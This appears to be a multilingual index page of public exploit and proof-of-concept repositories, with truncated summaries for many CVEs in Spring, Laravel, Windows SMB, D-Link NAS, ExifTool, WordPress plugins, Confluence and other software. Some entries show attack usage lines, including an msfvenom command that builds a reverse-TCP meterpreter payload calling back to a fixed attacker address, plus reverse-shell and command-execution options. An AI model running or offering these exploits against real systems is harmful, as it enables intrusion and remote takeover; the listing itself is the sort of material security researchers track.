CVE-2022-22965

CVE-2022-22965 Poc&Exp, 배치 스캔 지원 사용법 root@kitploit: -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" -w int 工人数量 default...

CVE-2025-31200-iOS-AudioConverter-RCE

CVE-2025-31200 – iOS AudioConverterService ゼロクリックRCE CVE-2025-31200の公開開示 – AppleのiOS 18.X、具体的にはAudioConverterServiceコンポーネント内におけるゼロクリックリモートコード実行（RCE）脆弱性です。この脆弱性は、iMessageまたはSMSを介して配信される悪意のあるオーディオファイルによってトリガーされ、ユーザーの操作を必要としません。 開示とパッチのタイムライン 初回報告日: 2025年1月21日 報告先: US-CERT（追跡ID: VRF25-01-MPVDT）...

CVE-2024-28397-exploit

js2py 샌드박스 탈출 CVE-2024-28397 js2py = 0.74에서 샌드박스 탈출을 통한 원격 명령 실행RCE 익스플로잇. 안전하지 않은 JavaScript 평가를 통해 호스트 시스템에서 임의의 코드를 실행할 수 있습니다. 취약점 CVE : CVE-2024-28397 구성 요소 : js2py 영향을 받는 버전 : = 0.74 영향 : 원격 코드 실행 Remote Code Execution 벡터 : JavaScript 샌드박스 탈출 취약점 분석 : CVE-2024-28397-js2py-Sandbox-Escape 특징...

CVE-2021-3129

CVE-2021-3129 Инструкция по использованию: Примечание: требуется локальная среда PHP. root@kitploit: python3 CVE-2021-3129.py -u http://127.0.0.1:80 （только проверка POC） python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami （выполнение команды, по умолчанию будет перебирать все цепочки...

CVE-2022-24500

Эксплойт RCE CVE-2022-24500 Уязвимость удаленного выполнения кода Windows SMB Уязвимость: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 шаг 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.b...

CVE-2024-3273

D-Link NAS 명령 실행 취약점 익스플로잇 이 Python 스크립트는 D-Link NAS 장치의 취약점CVE-2024-3273을 악용하여 임의 명령을 실행할 수 있게 합니다. 이 취약점을 이용하여 영향을 받는 장치에서 원격으로 명령을 실행합니다. 기능 D-Link NAS 장치에서 임의 명령을 실행합니다. 단일 호스트와 파일에 있는 여러 호스트를 모두 지원합니다. 명령의 동시 실행을 통한 효율성 향상. 동시 실행을 위한 스레드 수를 지정할 수 있습니다. 실행할 사용자 정의 명령을 지정할 수 있습니다 기본값: id. 취약한...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행에 사용할 수 있는 JPEG 이미지 페이로드를 생성하십시오. 사용자 지정 명령을 제공하거나 리버스 셸을 생성할 수 있습니다. JPEG 이미지가 자동으로 생성되며, 선택적으로 사용자 지정 JPEG 이미지를 제공하여 페이로드를 삽입할 수 있습니다...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI to RCE Backup Migration 워드프레스 플러그인에서의 인증되지 않은 원격 코드 실행. 실행 root@kitploit: $ python exploit.py 다음 PHP 스크립트가 실행됩니다. root@kitploit: out.txt; ? 참고 자료 Backup Migration 플러그인에서 발견된 심각한 인증되지 않은 원격 코드 실행 취약점...

CVE-2024-0044

CVE 2024 0044 CVE-2024-0044는 PackageInstallerService.java 파일의 createSessionInternal 함수에서 확인된, Android 12 및 13에 영향을 미치는 높은 심각도의 취약점입니다. 이 취약점으로 인해 공격자는 "run-as any app" 공격을 수행하여 사용자 상호작용 없이 로컬 권한 상승을 일으킬 수 있습니다. 문제는 createSessionInternal 함수 내에서 부적절한 입력 검증으로 인해 발생합니다. 공격자는 세션 생성 프로세스를 조작하여 이 취약점을 악...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-в-Confluence-Data-Center-и-Server Эта уязвимость позволяет неаутентифицированному злоумышленнику удаленно выполнить произвольный код на уязвимом сервере Confluence. Уязвимость существует из-за неправильной проверки вводимых пользователем данных в REST API Confluence. Это...

CVE-2021-33026

CVE-2021-33026 Удаленное выполнение кода через сериализацию Pickle — PoC-эксплойт отравления Memcached Что такое CVE-2021-3306? Расширение Flask-Caching версии до 1.10.1 для Flask использует Pickle для сериализации, что может привести к удаленному выполнению кода или локальному повышению...

CVE-2019-8561

CVE-2019-8561 Jaron Bradley（@jbradley89）によって発見されたCVE-2019-8561の概念実証エクスプロイト（macOS 10.14.4で修正済み）。このスクリプトは、installer のTOCTOUバグを悪用し、rootとしてコードを実行できるようにします。 Jaron氏のObjective By the Sea v2での講演 "Bad Things in Small Packages" をご覧ください。ここでは、r00tを取得しSIPを迂回する方法を実演しています。 （注：gpgpoc...

CVE-2025-3776

CVE-2025-3776 - 「Verification SMS with TargetSMS」プラグインにおけるリモートコード実行 = 1.5 プラグイン情報 プラグイン名: Verification SMS with TargetSMS 脆弱性のあるバージョン: = 1.5 CVE ID: CVE-2025-3776 タイプ: リモートコード実行 RCE OWASP分類: A1: インジェクション CVSS深刻度: 10.0（重大） 必要な権限: 未認証 公開日: 2025年4月23日 根本原因: プログラミングミス...

EUVD-2026-68577

ProfilePress wp-user-avatar WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability that allows unauthenticated attackers to install and activate arbitrary plugins by brute-forcing a weak 32-bit connect token via the ppressconnectprocess AJAX handler...

CVE-2026-66047 ProfilePress WordPress Plugin < 4.17.2 Unauthenticated Arbitrary Plugin Installation RCE

ProfilePress wp-user-avatar WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability that allows unauthenticated attackers to install and activate arbitrary plugins by brute-forcing a weak 32-bit connect token via the ppressconnectprocess AJAX handler...

CVE-2024-11393

CVE-2024-11393 Hugging Face Transformers MaskFormer Model — уязвимость удаленного выполнения кода из-за десериализации недоверенных данных Обзор высокого уровня и последствия уязвимости: Уязвимость позволяет злоумышленнику выполнить произвольный код на целевой машине, предоставив вредоносный файл...

CVE-2021-41773_CVE-2021-42013_Exploits

Эксплуатация CVE-2021-41773 и CVE-2021-42013 Обзор Этот репозиторий посвящён эксплуатации двух уязвимостей в Apache HTTPD: CVE-2021-41773 и CVE-2021-42013. Эти CVE представляют собой уязвимости обхода пути, которые потенциально могут привести к отображению файлов и удалённому выполнению кода на...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server 고정 암호화 키 원격 코드 실행 RCE 각 설치에 대해 무작위로 생성된 키를 사용하는 대신, 모든 Microsoft Exchange Server 설치에는 web.config에 동일한 validationKey 및 decryptionKey 값이 있습니다. 따라서 인증된 공격자는 서버를 속여 악의적으로 조작된 ViewState 데이터를 역직렬화하도록 만들 수 있습니다. YSoSerial.net의 도움으로 공격자는 SYSTEM 권한으로 실행되는 Exchange...

ClearML-CVE-2024-24590-RCE

Clearml-CVE-2024-24590 CVE-2024-24590는 서버 측에서 부적절한 역직렬화가 발생할 때 악용될 수 있는 취약점입니다. 이 경우 Clearml에서 발생합니다. 공격자가 악의적인 Pickle 파일을 생성하면, 해당 Pickle 파일을 역직렬화하는 피해자에 대해 임의 코드를 실행할 수 있으며, 이는 원격 명령 실행을 위한 리버스 셸로 확대될 수 있습니다. clearml 라이브러리를 설치하는 것을 잊지 마세요. root@kitploit: python -m venv .g source .g/bin/activate...

CVE-2011-2523-poc

CVE-2011-2523-poc 이것은 socket 및 telnetlib 모듈을 사용하여 CVE-2011-2523, VSFTPD 2.3.4 백도어 명령 실행 취약점을 악용하는 python3 스크립트입니다. 요구 사항 root@kitploit: sudo python3 -m pip install pwntools 설치 root@kitploit: git clone https://github.com/4m3rr0r/CVE-2011-2523-poc.git cd CVE-2011-2523-poc/ chmod +x exploit.py 사용법...